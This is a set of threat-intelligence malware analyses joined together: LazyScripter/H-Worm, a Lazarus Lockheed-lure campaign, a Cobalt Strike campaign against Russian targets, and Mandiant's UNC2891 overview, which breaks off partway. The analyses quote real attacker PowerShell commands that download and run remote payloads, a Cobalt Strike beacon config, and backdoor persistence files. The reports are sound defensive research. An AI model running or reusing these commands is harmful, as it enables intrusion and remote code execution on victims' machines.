Menu\Programs\Startup\windowsUpdate.lnk
This direct access points at the following Powershell execution:
$NQJLOJWQ=(Get-ItemProperty HKCU:\Software).Sat;
$WASUXIQO=(Get-ItemProperty HKCU:\Software).Dat;
$NILSHSEJ=(Get-ItemProperty HKCU:\Software).Gat;
$MYG
The values of the registry keys which this command refers to contain this series of Powershell
commands:
[System.Net.WebClient]$webClient = New-Object System.Net.WebClient;
[System.IO.Stream]$stream = $webClient.OpenRead(
http://185.
81.157.186/NDA/199.png
[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList
$stream;
[string]$results = $sr.ReadToEnd();
IEX $results
Registry Keys set by VBS sample
5/14
Our first impression was a little bit of a surprise since we just observed the sample
establishing a second persistence in the same startup folder for an artifact (the lnk file) that
would use a different C2.
After deobfuscating the VBS script we could identify the malware sample as Houdini
s HWorm, but preceded by an interesting line, still slightly obfuscated. This single line was
responsible for this second kind of parallel behavior (new persistence using the lnk file and a
different C2).
While the first mentioned IP addresses and domains or the infection chain were not easily
linked to malicious activity through OSINT, this last one was quickly tagged as malicious
everywhere.
OSINT results for suspicious IP address
Now it started to get even more interesting as we also discovered that, even though no
domain points at this IP address at this time, it used to resolve from the hackfree.]org
domain, which belongs to top 1 million, and seems to be some web service for offensive
operations/techniques:
6/14
DNS resolutions on suspicious IP address
Google results for hackfree.]org
Since this finding could be a little confusing as it was for us, let
s go back to the dropped VBS
script. This script will be the one which implements the RAT identified as H-worm after a
complex nested obfuscation, prepended with a confusing extra line.
7/14
Part of such obfuscation implied the creation of a new script object which will execute the
deobfuscate code. For this purpose, the first part of the logic consists in identifying the
architecture of the infected system, and then creating nested ScriptControl objects, where the
code which implements the totality of H-worm will be added. Such code is read from an array
which must be necessarily located in the last line of the file, commented, and which contains
a total of 16.153 obfuscated elements.
Content of VBS sample (tk.vbs)
8/14
tk.vbs deobfuscated
Now, we could know that this VBS script acted as some sort of loader for the final stage
artifact, which was fully implemented in the aforementioned last line, supposed to be a
commented line in VBS. In order to compare the different samples that we gathered, we
implemented an automatic deobfuscator to straightly obtain the deobfuscated code
implemented in the commented line and we always found this first line prepended before the
H-worm code.
Final VBS payload (H-Worm)
9/14
Before analyzing this extra suspicious code, which we could corroborate it was not part of the
known source code for H-Worm, the obvious thought was that these lines were added by the
LazyScripter criminals and that they were placing dates in the script for their own reasons.
However, it still seemed weird that they would reward the threat/forensic analysts with a
precise date for each sample.
After the analysis of the snippets, we observed that the samples would compare the current
date with the hardcoded date, and if the hardcoded day arrived or passed, it would execute a
specific function appended at the end of H-Worm
s code. This function would only drop the
previously described .lnk file and set the mentioned registry key values so as to download a
sample of njRAT. Even though the author of H-Worm, known as 
Houdini
 had been
connected to the development of njRAT, we knew this wasn
t part of the known
implementation for H-Worm, and still looked odd as a TTP from the same infection
campaign.
Trying to make sense out of it, we had the brainwave of using the information we had about
this parallel behavior and make a quick check: We previously found out that they might
have been using hackfree.]org as an online obfuscation service for VBS script, so we created
our own dummy VBS script and submitted it to hackfree for obfuscation. Then we applied
our implemented deobfuscator.
Implemented dummy VBS script
10/14
Dummy VBS script obfuscated via hackfree website
Deobfuscation of obfuscated dummy VBS script
11/14
At this point, we discovered that hackfree].org was injecting their own malware in every
obfuscated script via their website, and this would lead in a double infection for malware
obfuscated with hackfree.]org, or a first 
sneaky
 infection for those scripts that were
obfuscated for legitimate purposes. At this last scenario we could confirm that hackfree.]org
would be a waterhole attack.
Finally, back to the tracked threat actor, we could distinguish between LazyScripter
indicators of compromise, and HackFree
s IOCs, resulting in the following diagram for this
LazyScripter campaign main infrastructure and infection chain.
LazyScripter
s H-Worm campaign
s main infrastructure
IOCs
12/14
0fc8d0c3b6ab22533153b7296e597312fc8cf02e2ea92de226d93c09eaf8e579
SHA256
77afef33c249d4d7bb076079eff1cca2aef272c84720e7f258435728be3bf049
SHA256
82f6c8b52103272fcfb27ac71bd4bff76ee970dd16e5cdf3d0cfb75d10aa0609
SHA256
5803ded992498b5bd5045095ca1eab33be8a4f9d785fdfc8b231127edf049e72
SHA256
f5359df2aaa02fbfae540934f3e8f8a2ab362f7ee92dda536846afb67cea1b02
SHA256
c685897eb3f32ced2b6e404e424ca01d0bc8c88b83da067fbef7e7fe889cffad
SHA256
23ea10f4b1a73a4e8b13466fff8983110216779d2d3cefe1fc151c6bb65c3b42
SHA256
45.91.92.112:449
185.81.157.186
192.64.119.125
157.245.250.76
66.29.130.204
147.182.192.241
103.73.64.115
http://185.81.]157.186/NDA/199.png
http://157.245.]250.76/MORE%20INFORMATION%20ON%20OFFERS.zip
stub.]ignorelist.com
C2 Domain
securessl.]fit
C2 Domain
gowaymevps.]xyz
C2 Domain
milla.publicvm.]com
C2 Domain
internetexploraldon.]sytes.net
C2 Domain
jbizgsvhzj22evqon9ezz8bmbupp1s6cprmriam1.duckdns.]org
C2 Domain
saqicpcgflrlgxgoxxzkbfrjuisbkozeqrmthrzo.duckdns.]org
C2 Domain
u1153246fov.ha004.t.justns.]ru
C2 Domain
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\tk
Reg Key
HKU*\Software\Microsoft\Windows\CurrentVersion\Run\tk
Reg Key
13/14
C:\Users\Lucas\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\windowsUpdate.lnk
File
persistence
Customers with Lab52
s APT intelligence private feed service already have more tools and
means of detection for this campaign.
In case of having threat hunting service or being client of S2Grupo CERT, this intelligence
has already been applied.
If you need more information about Lab52
s private APT intelligence feed service, you can
contact us through the following link
14/14
North Korea
s Lazarus APT leverages Windows Update client,
GitHub in latest campaign
blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latestcampaign
Threat Intelligence Team
January 27, 2022
This blog was authored by Ankur Saini and Hossein Jazi
Lazarus Group is one of the most sophisticated North Korean APTs that has been active since 2009. The
group is responsible for many high profile attacks in the past and has gained worldwide attention. The
Malwarebytes Threat Intelligence team is actively monitoring its activities and was able to spot a new
campaign on Jan 18th 2022.
In this campaign, Lazarus conducted spear phishing attacks weaponized with malicious documents that
use their known job opportunities theme. We identified two decoy documents masquerading as American
global security and aerospace giant Lockheed Martin.
In this blog post, we provide technical analysis of this latest attack including a clever use of Windows
Update to execute the malicious payload and GitHub as a command and control server. We have reported
the rogue GitHub account for harmful content.
Analysis
The two macro-embedded documents seem to be luring the targets about new job opportunities at
Lockheed Martin:
Lockheed_Martin_JobOpportunities.docx
Salary_Lockheed_Martin_job_opportunities_confidential.doc
1/16
The compilation time for both of these documents is 2020-04-24, but we have enough indicators that
confirm that they have been used in a campaign around late December 2021 and early 2022. Some of the
indicators that shows this attack operated recently are the domains used by the threat actor.
Both of the documents use the same attack theme and have some common things like embedded macros
but the full attack chain seems to be totally different. The analysis provided in the blog is mainly based on
the 
Lockheed_Martin_JobOpportunities.docx
 document but we also provide brief analysis for the
second document (Salary_Lockheed_Martin_job_opportunities_confidential.doc) at the end of this blog.
Figure 1: Document Preview
Attack Process
The below image shows the full attack process which we will discuss in detail in this article. The attack
starts by executing the malicious macros that are embedded in the Word document. The malware
performs a series of injections and achieves startup persistence in the target system. In the next section
we will provide technical details about various stages of this attack and its payload capabilities.
2/16
Figure 2: Attack Process
Macros: Control flow hijacking through KernelCallbackTable
Figure 3: Macros Snippet
3/16
The above code uses a very unusual and lesser known technique to hijack the control flow and execute
malicious code. The malware retrieves the address of the 
WMIsAvailableOffline
 function from
wmvcore.dll
, then it changes the memory protection permissions for code in 
WMIsAvailableOffline
and proceeds to overwrite the code in memory with the malicious base64 decoded shell-code.
Another interesting thing happening in the above code is the control flow hijacking through the
KernelCallbackTable member of the PEB. A call to NtQueryInformationProcess is made with
ProcessBasicInformation class as the parameter which helps the malware to retrieve the address of PEB
and thus retrieving the KernelCallbackTable pointer.
Figure 4: KernelCallbackTable in memory
KernelCallbackTable is initialized to an array of callback functions when user32.dll is loaded into
memory, which are used whenever a graphical call (GDI) is made by the process. To hijack the control
flow, malware replaces the USER32!_fnDWORD callback in the table with the malicious
WMIsAvailableOffline function. Once the flow is hijacked and malicious code is executed the rest of the
code takes care of restoring the KernelCallbackTable to its original state.
Shellcode Analysis
The shellcode loaded by the macro contains an encrypted DLL which is decrypted at runtime and then
manually mapped into memory by the shellcode. After mapping the DLL, the shellcode jumps to the entry
point of that DLL. The shellcode uses some kind of custom hashing method to resolve the APIs. We used
hollows_hunter to dump the DLL and reconstruct the IAT once it is fully mapped into memory.
4/16
Figure 5: API resolving
The hashing function accepts two parameters: the hash of the DLL and the hash of the function we are
looking for in that DLL. A very simple algorithm is used for hashing APIs. The following code block shows
this algorithm:
def string_hashing(name):
hash = 0
for i in range(0, len(name)):
hash = 2 * (hash + (ord(name[i]) | 0x60))
return hash
The shellcode and all the subsequent inter-process Code/DLL injections in the attack chain use the same
injection method as described below.
Code Injection
The injection function is responsible for resolving all the required API calls. It then opens a handle to the
target process by using the OpenProcess API. It uses the SizeOfImage field in the NT header of the DLL to
be injected into allocated space into the target process along with a separate space for the init_dll
function. The purpose of the init_dll function is to initialize the injected DLL and then pass the control
flow to the entry point of the DLL. One thing to note here is a simple CreateRemoteThread method is used
to start a thread inside the target process unlike the KernelCallbackTable technique used in our macro.
5/16
Figure 6: Target Process Injection through CreateRemoteThread
Malware Components
stage1_winword.dll 
 This is the DLL which is mapped inside the Word process. This DLL is
responsible for restoring the original state of KernelCallbackTable and then injecting
stage2_explorer.dll into the explorer.exe process.
Figure 7: Restoring KernelCallbackTable to original state
stage2_explorer.dll 
 The winword.exe process injects this DLL into the explorer.exe process. With
brief analysis we find out that the .data section contains two additional DLLs. We refer to them as
drops_lnk.dll and stage3_runtimebroker.dll. By analyzing stage2_explorer.dll a bit further we can
easily understand the purpose of this DLL.
6/16
Figure 8: stage2_explorer main routine
The above code snippet shows the main routine of stage2_explorer.dll. As you can see it checks for the
existence of 
C:\W
ndows\system32\wuaueng.dll
 and then if it doesn
t exist it takes its path to drop
additional files. It executes the drops_lnk.dll in the current process and then tries to create the
RuntimeBroker process and if successful in creating RuntimeBroker, it injects stage3_runtimebroker.dll
into the newly created process. If for some reason process creation fails, it just executes
stage3_runtimebroker.dll in the current explorer.exe process.
7/16
drops_lnk.dll 
 This DLL is loaded and executed inside the explorer.exe process, it mainly drops the
lnk file (WindowsUpdateConf.lnk) into the startup folder and then it checks for the existence of
wuaueng.dll in the malicious directory and manually loads and executes it from the disk if it exists.
The lnk file (WindowsUpdateConf.lnk) executes 
C:\Windows\system32\wuauclt.exe
/UpdateDeploymentProvider C:\W
ndows\system32\wuaueng.dll /RunHandlerComServer. This
is an interesting technique used by Lazarus to run its malicious DLL using the Windows Update
Client to bypass security detection mechanisms. With this method, the threat actor can execute its
malicious code through the Microsoft Windows Update client by passing the following arguments:
/UpdateDeploymentProvider, Path to malicious dll and /RunHandlerComServer argument after the
dll.
Figure 9: Startup folder path
Figure 10: WindowsUpdateConf lnk
stage3_runtimebroker.dll 
 This DLL is responsible for creating the malicious directory
C:\W
ndows\system32\
) and then drops the wuaueng.dll in that directory, furthermore it sets
the attributes of the directory to make it hidden.
Figure 11: stage3_runtimebroker main routine
wuaueng.dll 
 This is one of the most important DLLs in the attack chain. This malicious DLL is
signed with a certificate which seems to belong to 
SAMOYAJ LIMITED
, Till 20 January 2022, the
DLL had (0/65) AV detections and presently only 5/65 detect it as malicious. This DLL has
embedded inside another DLL which contains the core module (core_module.dll) of this malware
responsible for communicating with the Command and Control (C2) server. This DLL can be loaded
into memory in two ways:
 If drops_lnk.dll loads this DLL into explorer.exe then it loads the core_module.dll and then
executes it
 If it is being executed from wuauclt.exe, then it retrieves the PID of explorer.exe and injects the
core_module.dll into that process.
8/16
Figure 12: wuaueng.dll main routine
The Core module and GitHub as a C2
Rarely do we see malware using GitHub as C2 and this is the first time we
ve observed Lazarus leveraging
it. Using Github as a C2 has its own drawbacks but it is a clever choice for targeted and short term attacks
as it makes it harder for security products to differentiate between legitimate and malicious connections.
While analyzing the core module we were able to get the required details to access the C2 but
unfortunately it was already cleaned and we were not able to get much except one of the additional
modules loaded by the core_module.dll remotely (thanks to @jaydinbas who shared the module with us).
9/16
Figure 13: core_module.dll C2 communication loop
There seems to be no type of string encoding used so we can clearly see the strings which makes the
analysis easy. get_module_from_repo uses the hardcoded username, repo_name, directory, token to
make a http request to GitHub and retrieves the files present in the 
images
 directory of the repository.
10/16
Figure 14: get_module_from_repo function
The HTTP request retrieves contents of the files present in the repository with an interesting validation
which checks that the retrieved file is a PNG. The file that was earlier retrieved was named 
readme.png
this PNG file has one of the malicious modules embedded in it. The strings in the module reveal that the
module
s original name is 
GetBaseInfo.dll
. Once the malware retrieves the module it uses the
map_module function to map the DLL and then looks for an exported function named
GetNumberOfMethods
 in the malicious module. It then executes GetNumberOfMethods and saves the
result obtained by the module. This result is committed to the remote repo under the metafiles directory
with a filename denoting the time at which the module was executed. This file committed to the repo
contains the result of the commands executed by the module on the target system. To commit the file the
malware makes a PUT HTTP request to Github.
Additional Modules (GetBaseInfo.dll)
This was the only module which we were able to get our hands on. Only a single module does limit us in
finding all the capabilities this malware has. Also its a bit difficult to hunt for these modules as they never
really touch the disk which makes them harder to detect by AVs. The only way to get the modules would
be to access the C2 and download the modules while they are live. Coming back to this module, it has very
limited capabilities. It retrieves the Username, ComputerName and a list of all the running processes on
the system and then returns the result so it can be committed to the C2.
11/16
Figure 15: GetBaseInfo module retrieving the information
GitHub Account
The account with the username 
DanielManwarningRep
 is used to operate the malware. The account
was created on January 17th, 2022 and other than this we were not able to find any information related to
the account.
Figure 16: Account details from the token used
12/16
Second Malicious Document used in the campaign
Malicious Document 
 Salary_Lockheed_Martin_job_opportunities_confidential.doc
(0160375e19e606d06f672be6e43f70fa70093d2a30031affd2929a5c446d07c1)
The initial attack vector used in this document is similar to the first document but the malware dropped
by the macro is totally different. Sadly, the C2 for this malware was down by the time we started analyzing
This document uses KernelCallbackTable as well to hijack the control flow just like our first module, the
injection technique used by the shellcode also resembles the first document. The major difference in this
document is that it tries to retrieve a remote HTML page and then executes it using mshta.exe. The
remote HTML page is located at https[:]//markettrendingcenter[.]com/member.htm and throws a 404
Not Found which makes it difficult for us to analyze this document any further.
Figure 17: Shellcode
Attribution
There are multiple indicators that suggest that this campaign has been operated by the Lazarus threat
actor. In this section we provide some of the indicators that confirm the actor behind this attack is
Lazarus:
Using job opportunities as template is the known method used by Lazarus to target its victims. The
documents created by this actor are well designed and contain a large icon for a known company
such as LockHeed Martin, BAE Systems, Boeing and Northrop Grumman in the template.
In this campaign the actor has targeted people that are looking for job opportunities at Lockheed
Martin. Targeting the defense industry and specifically Lockheed Martin is a known target for this
actor.
The document
s metadata used in this campaign links them to several other documents used by this
actor in the past.
13/16
Figure 18: Attribution based on metadata
Using Frame1_Layout for macro execution and using lesser known API calls for shellcode execution
is known to be used by Lazarus.
We also were able to find infrastructure overlap between this campaign and past campaigns of
Lazarus (Figure 19).
Figure 19: Connection with past campaigns
Conclusion
Lazarus APT is one of the advanced APT groups that is known to target the defense industry. The group
keeps updating its toolset to evade security mechanisms. In this blog post we provided a detailed analysis
about the new campaign operated by this actor. Even though they have used their old job theme method,
they employed several new techniques to bypass detections:
Use of KernelCallbackTable to hijack the control flow and shellcode execution
Use of the Windows Update client for malicious code execution
Use of GitHub for C2 communication
14/16
IOCs:
Maldocs:
0d01b24f7666f9bccf0f16ea97e41e0bc26f4c49cdfb7a4dabcc0a494b44ec9b
Lockheed_Martin_JobOpportunities.docx
0160375e19e606d06f672be6e43f70fa70093d2a30031affd2929a5c446d07c1
Salary_Lockheed_Martin_job_opportunities_confidential.doc
Domains:
markettrendingcenter.com
lm-career.com
Payloads:
Name
Sha256
readme.png
4216f63870e2cdfe499d09fce9caa301f9546f60a69c4032cb5fb6d5ceb9af32
wuaueng.dll
829eceee720b0a3e505efbd3262c387b92abdf46183d51a50489e2b157dac3b1
stage1_winword.dll
f14b1a91ed1ecd365088ba6de5846788f86689c6c2f2182855d5e0954d62af3b
stage2_explorer.dll
660e60cc1fd3e155017848a1f6befc4a335825a6ae04f3416b9b148ff156d143
drops_lnk.dll
11b5944715da95e4a57ea54968439d955114088222fd2032d4e0282d12a58abb
stage3_runtimebroker.dll
9d18defe7390c59a1473f79a2407d072a3f365de9834b8d8be25f7e35a76d818
core_module.dll
c677a79b853d3858f8c8b86ccd8c76ebbd1508cc9550f1da2d30be491625b744
GetBaseInfo.dll
5098ec21c88e14d9039d232106560b3c87487b51b40d6fef28254c37e4865182
15/16
16/16
New spear phishing campaign targets Russian dissidents
blog.malwarebytes.com/threat-intelligence/2022/03/new-spear-phishing-campaign-targets-russian-dissidents
Threat Intelligence Team
March 29, 2022
This blog post was authored by Hossein Jazi.
 Updated to clarify the two different campaigns (Cobalt Strike and Rat)
Several threat actors have taken advantage of the war in Ukraine to launch a number of cyber
attacks. The Malwarebytes Threat Intelligence team is actively monitoring these threats and
has observed activities associated with the geopolitical conflict.
More specifically, we
ve witnessed several APT actors such as Mustang Panda, UNC1151 and
SCARAB that have used war-related themes to target mostly Ukraine. We
ve also observed
several different wipers and cybercrime groups such as FormBook using the same tactics.
Beside those known groups we saw an actor that used multiple methods to deploy a variants
of Quasar Rat. These methods include using documents that exploit CVE-2017-0199 and
CVE-2021-40444, macro-embedded documents, and executables.
On March 23, we identified a new campaign that instead of targeting Ukraine is focusing on
Russian citizens and government entities. Based on the email content it is likely that the
threat actor is targeting people that are against the Russian government.
The spear phishing emails are warning people that use websites, social networks, instant
messengers and VPN services that have been banned by the Russian Government and that
criminal charges will be laid. Victims are lured to open a malicious attachment or link to find
out more, only to be infected with Cobalt Strike.
Spear phishing as the main initial infection vector
1/15
These emails pretend to be from the 
Ministry of Digital Development, Telecommunications
and Mass Communications of the Russian Federation
 and 
Federal Service for Supervision
of Communications, Information Technology and Mass Communications
 of Russia.
We have observed two documents associated with this campaign that both exploit CVE-202140444. Even though CVE-2021-40444 has been used in a few attacks in the past, to the best
of our knowledge this was the first time we observed an attacker use RTF files instead of
Word documents to exploit this vulnerability. Also the actor leveraged a new variant of this
exploit called CABLESS in this attack. Sophos has reported an attack that used a Cabless
variant of this exploit but in that case the actor has not used the RTF file and also used RAR
file to prepend the WSF data to it.
Email with RTF file:
 (Federal Service for Supervision of
Communications, Information Technology and Mass Communications)
 (A warning! Ministry of Digital
Development, Telecommunications and Mass Media of the Russian Federation)
Figure 1: Phishing template
Figure 2: Phishing template
2/15
Email with archive file:
. (informing the public about critical changes in the field of digital
technologies, services, sanctions and criminal liability for their use.)
 (Attention! Informs the
Ministry of Digital Development, Communications and Mass Media of the
Russian Federation)
Figure 3: Phishing template
Email with link:
 (Attention! Informs the
Ministry of Digital Development, Communications and Mass Media of the
Russian Federation)
Figure 4: phishing template
Victimology
The actor has sent its spear phishing emails to people that had email with these domains:
mail.ru, mvd.ru, yandex.ru, cap.ru, minobr-altai.ru, yandex.ru, stavminobr.ru,
mon.alania.gov.ru, astrobl.ru, 38edu.ru, mosreg.ru, mo.udmr.ru, minobrnauki.gov.ru,
66.fskn.gov.ru, bk.ru, ukr.net
3/15
Based on these domains, here is the list of potential victims:
Portal of authorities of the Chuvash Republic Official Internet portal
Russian Ministry of Internal Affairs
ministry of education and science of the republic of Altai
Ministry of Education of the Stavropol Territory
Minister of Education and Science of the Republic of North Ossetia-Alania
Government of Astrakhan region
Ministry of Education of the Irkutsk region
Portal of the state and municipal service Moscow region
Ministry of science and higher education of the Russian Federation
Analysis:
The lures used by the threat actor are in Russian language and pretend to be from Russia
Ministry of Information Technologies and Communications of the Russian Federation
 and
MINISTRY OF DIGITAL DEVELOPMENT, COMMUNICATIONS AND MASS
COMMUNICATIONS
. One of them is a letter about limitation of access to Telegram
application in Russia.
4/15
Figure 5: Lure letter
5/15
Figure 6: Lure template
These RTF files contains an embedded url that downloads an html file which exploits the
vulnerability in the MSHTML engine.
http://wallpaper.skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html
The html file contains a script that executes the script in WSF data embedded in the RTF file.
Figure 7: html file
The actor has added WSF data (Windows Script Host) at the start of the RTF file. As you can
see from figure 8, WSF data contains a JScript code that can be accessed from a remote
location. In this case this data has been accessed using the downloaded html exploit file.
6/15
Figure 8: WSF data
Executing this scripts leads to spawning PowerShell to download a CobaltStrike beacon from
the remote server and execute it on the victim
s machine. (The deployed CobaltStrike file
name is Putty)
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden
$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest
'http://wallpaper.skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe' -OutFile
$env:TEMP\putty.exe; . $env:TEMP\putty.exe; Start-Sleep 15
The following shows the CobaltStrike config:
7/15
"BeaconType": [
"HTTPS"
"Port": 443,
"SleepTime": 38500,
"MaxGetSize": 1398151,
"Jitter": 27,
"C2Server": "wikipedia-book.vote,/async/newtab_ogb",
"HttpPostUri": "/gen_204",
"Malleable_C2_Instructions": [
"Remove 17 bytes from the end",
"Remove 32 bytes from the beginning",
"Base64 URL-safe decode"
"SpawnTo": "/4jEZLD/DHKDj1CbBvlJIg==",
"HttpGet_Verb": "GET",
"HttpPost_Verb": "POST",
"HttpPostChunk": 96,
"Spawnto_x86": "%windir%\\syswow64\\gpupdate.exe",
"Spawnto_x64": "%windir%\\sysnative\\gpupdate.exe",
"CryptoScheme": 0,
"Proxy_Behavior": "Use IE settings",
"Watermark": 1432529977,
"bStageCleanup": "True",
"bCFGCaution": "True",
"KillDate": 0,
"bProcInject_StartRWX": "True",
"bProcInject_UseRWX": "False",
"bProcInject_MinAllocSize": 16700,
"ProcInject_PrependAppend_x86": [
"kJCQ",
"Empty"
"ProcInject_PrependAppend_x64": [
"kJCQ",
"Empty"
"ProcInject_Execute": [
"ntdll.dll:RtlUserThreadStart",
"SetThreadContext",
"NtQueueApcThread-s",
"kernel32.dll:LoadLibraryA",
"RtlCreateUserThread"
"ProcInject_AllocationMethod": "NtMapViewOfSection",
"bUsesCookies": "True",
"HostHeader": ""
Similar lure used by another actor
8/15
We also have identified activity by another actor that uses a similar lure as the one used in
the previously mentioned campaign. This activity is potentially related to Carbon Spider and
uses 
 (Federal Service for Supervision of Communications,
Information Technology and Mass Communications) of Russia as a template. In this case, the
threat actor has deployed a PowerShell-based Rat.
9/15
Figure 9: template
The dropped PowerShell script is obfuscated using a combination of Base64 and custom
obfuscation.
10/15
Figure 10: Dropped PS script
After deobfuscating the script, you can see the Rat deployed by this actor. This PowerShell
based Rat has the capability to get the next stage payload and execute it. The next stage
payload can be one of the following file types:
JavaScript
PowerShell
Executable
All of Its communications with its server are in Base64 format. This Rat starts its activity by
setting up some configurations which include the C2 url, intervals, debug mode and a
parameter named group that initialized with 
Madagascar
 which probably is another alias of
the actor.
After setting up the configuration, it calls the 
Initialize-Engine
 function. This function
collects the victim
s info including OS info, Username, Hostname, Bios info and also a hostdomain value that shows if the machine in a domain member or not. It then appends all the
collected into into a string and separate them by 
 character and at the end it add the group
name and API config value. The created string is being send to the server using Send-WebInit
function. This function adds 
INIT%%%
 string to the created string and base64 encodes it
and sends it to the server.
11/15
Figure 11: PowerShell Rat
After performing the initialization, it goes into a loop that keeps calling the 
Invoke-Engine
function. This function checks the incoming tasks from the server, decodes them and calls
the proper function to execute the incoming task. If there is no task to execute, it sends
GETTASK%%
 in Base64 format to its server to show it is ready to get tasks and execute
them. The 
 command is used to delete itself.
12/15
Figure 12: Invoke task
The result of the task execution will be send to the server using 
PUTTASK%%
 command.
Infrastructure
The following shows the infrastructure used by this actor highlighting that the different lures
are all connected.
13/15
Figure 12: Infrastructure
The Malwarebytes Threat Intelligence continues to monitor cyber attacks related to the
Ukraine war. We are protecting our customers and sharing additional indicators of
compromise.
IOCs
RTF files host domain:
digital-ministry[.]ru
RTF files:
PKH telegram.rtf
b19af42ff8cf0f68e520a88f40ffd76f53a27dffa33b313fe22192813d383e1e
PKH.rtf
38f2b578a9da463f555614e9ca9036337dad0af4e03d89faf09b4227f035db20
MSHTML exploit:
wallpaper[.]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/exploit.html
4e1304f4589a706c60f1f367d804afecd3e08b08b7d5e6bd8c93384f0917385c
CobaltStrike Download URL:
wallpaper[.]skin/office/updates/GtkjdsjkyLkjhsTYhdsd/putty.exe
CobaltStrike:
Putty.exe
d4eaf26969848d8027df7c8c638754f55437c0937fbf97d0d24cd20dd92ca66d
CobaltStrike C2:
wikipedia-book[.]vote/async/newtab_ogb
Macro based maldoc:
c7dd490adb297b7f529950778b5a426e8068ea2df58be5d8fd49fe55b5331e28
14/15
PowerShell based RAT:
9d4640bde3daf44cc4258eb5f294ca478306aa5268c7d314fc5019cf783041f0
PowerShell Rat C2:
swordoke[.]com
15/15
Have Your Cake and Eat it Too? An Overview of UNC2891
mandiant.com/resources/unc2891-overview
The Mandiant Advanced Practices team previously published a threat research blog post that provided an overview of UNC1945 operations
where the actor compromised managed services providers to gain access to targets in the financial and professional consulting industries.
Since that time, Mandiant has investigated and attributed several intrusions to a threat cluster we believe has a nexus to this actor, currently
being tracked as UNC2891. Through these investigations, Mandiant has discovered additional techniques, malware, and utilities being used by
UNC2891 alongside those previously observed in use by UNC1945. Despite having identified significant overlaps between these threat clusters,
Mandiant has not determined they are attributable to the same actor.
UNC2891 intrusions appear to be financially motivated and in some cases spanned several years through which the actor had remained
largely undetected.
UNC2891 demonstrated fluency and expertise in Unix and Linux environments, mostly through the targeting of Oracle Solaris based
systems with TINYSHELL and SLAPSTICK backdoors.
Mandiant observed UNC2891 operate with a high degree of OPSEC and leverage both public and private malware, utilities, and scripts to
remove evidence and hinder response efforts.
Mandiant discovered a previously unknown rootkit for Oracle Solaris systems that UNC2891 used to remain hidden in victim networks,
we have named this CAKETAP.
One Variant of CAKETAP manipulated messages transiting a victims Automatic Teller Machine (ATM) switching network. It is believed
this was leveraged as part of a larger operation to perform unauthorized cash withdrawals at several banks using fraudulent bank cards.
Extensive Use of SLAPSTICK and TINYSHELL Backdoors
Like past UNC1945 intrusions, Mandiant observed UNC2891 make extensive use of the Pluggable Authentication Module (PAM) based
backdoor we track as SLAPSTICK to aid with credential harvesting, and to provide backdoor access to compromised machines in victim
networks. As detailed in our previous blog post, SLAPSTICK provides persistent backdoor access to infected systems with a hard-coded
magical password, it also logs authentication attempts and corresponding passwords in an encrypted log file. Although this is expected to have
tremendously assisted UNC2891 with credential harvesting and lateral movement activities, it also provided valuable information to Mandiant
Incident Responders. Although SLAPSTICK log files were often timestomped, Mandiant was able to decode them and trace some of the actor
lateral movement activities through the usage of the backdoor provided magical password.
Figure 1: Example SLAPSTICK decoded log (fabricated)
Alongside SLAPSTICK, UNC2891 often installed a custom variant of the publicly available TINYSHELL backdoor. UNC2891 TINYSHELL
backdoors leveraged an external encrypted configuration file and some variants included additional functionality, such as the ability to
communicate via a HTTP proxy with basic authentication. In line with the group
s familiarity with Unix and Linux based systems, UNC2891
often named and configured their TINYSHELL backdoors with values that masqueraded as legitimate services that might be overlooked by
investigators, such as systemd (SYSTEMD), name service cache daemon (NCSD), and the Linux at daemon (ATD).
TINYSHELL Backdoor File Paths
TINYSHELL Configuration File Paths
/usr/lib/libhelpx.so.1
/usr/lib/libatdcf.so
/usr/lib/systemd/systemd-helper
/usr/lib/libnscd.so.1
/usr/sbin/nscd
/usr/lib/libsystemdcf.so
/var/ntp/ntpstats/1
Table 1: Observed TINYSHELL file paths
Example Decoded configuration
pm_systemd_mag <32-character string>
systemd_nme <system id>
pm_systemd_adr <C2 IP address/domain>
pm_systemd_prt <443 or 53>
pm_systemd_tme 300
systemd_non1 none
systemd_non2 none
systemd_non3 none
systemd_non4 none
Table 2: Example decoded TINYSHELL configuration (systemd variant)
In the case of the systemd variant, UNC2891 also leveraged systemd service unit files for persistence of the TINYSHELL backdoor.
/usr/lib/systemd/system/systemd-helper.service
[Unit]
Description=Rebuild Hardware Database
[Service]
Type=forking
ExecStart=/lib/systemd/systemd-helper
[Install]
WantedBy=multi-user.target
Table 3: Service unit file used for TINYSHELL persistence
Based on analyzed configurations, UNC2891 had configured TINYSHELL backdoors in a multi-hop structure that leveraged several
compromised internal servers for command and control. In one case, Mandiant found evidence that suggests the actor had chained different
TINYSHELL variants together to obtain remote access to a server inside a network segment with network restrictions.
To keep their network of TINYSHELL connections hidden, UNC2891 had installed and configured a rootkit to filter out these connections from
network connection related APIs (keep reading for details on the CAKETAP rootkit). UNC2891 configured remotely accessible systems with
TINYSHELL backdoors that used dynamic DNS domains for their external command and control channel. These domains were created perhost and were not used more than once, the subdomains sometimes resembled the hostname of the compromised machine. Mandiant was
unable to collect passive DNS data for these dynamic DNS domains, suggesting that UNC2891 had likely enabled IP resolution for short
periods of time when access to the network was required. At one victim, these TINYSHELL backdoors were configured to perform
communications using TCP over port 53 and 443, likely as a mechanism to bypass outbound network protections, blend in with existing traffic,
and evade detection.
Figure 2: Example of TINYSHELL command and control used by UNC2891
STEELHOUND, STEELCORGI and Environment Variable Keying
UNC2891 often made use of the STEELCORGI in-memory dropper which decrypts its embedded payloads by deriving a ChaCha20 key from
the value of an environment variable obtained at runtime. In many cases, Mandiant was unable to recover the requisite environment variables
to decrypt the embedded payloads. However, in the limited samples we were able to decrypt, UNC2891 had deployed different versions of an
extensive toolkit which appears to be developed under the name SUN4ME. SUN4ME contains tools for network reconnaissance, host
enumeration, exploitation of known vulnerabilities, log wiping, file operations, as well as common shell utilities. Yoroi has previously published
information about this toolkit following our previous blog post on UNC1945
s usage of STEELCORGI.
Mandiant discovered UNC2891 leveraging a similar in-memory dropper that also used environment variables to decrypt its embedded payload
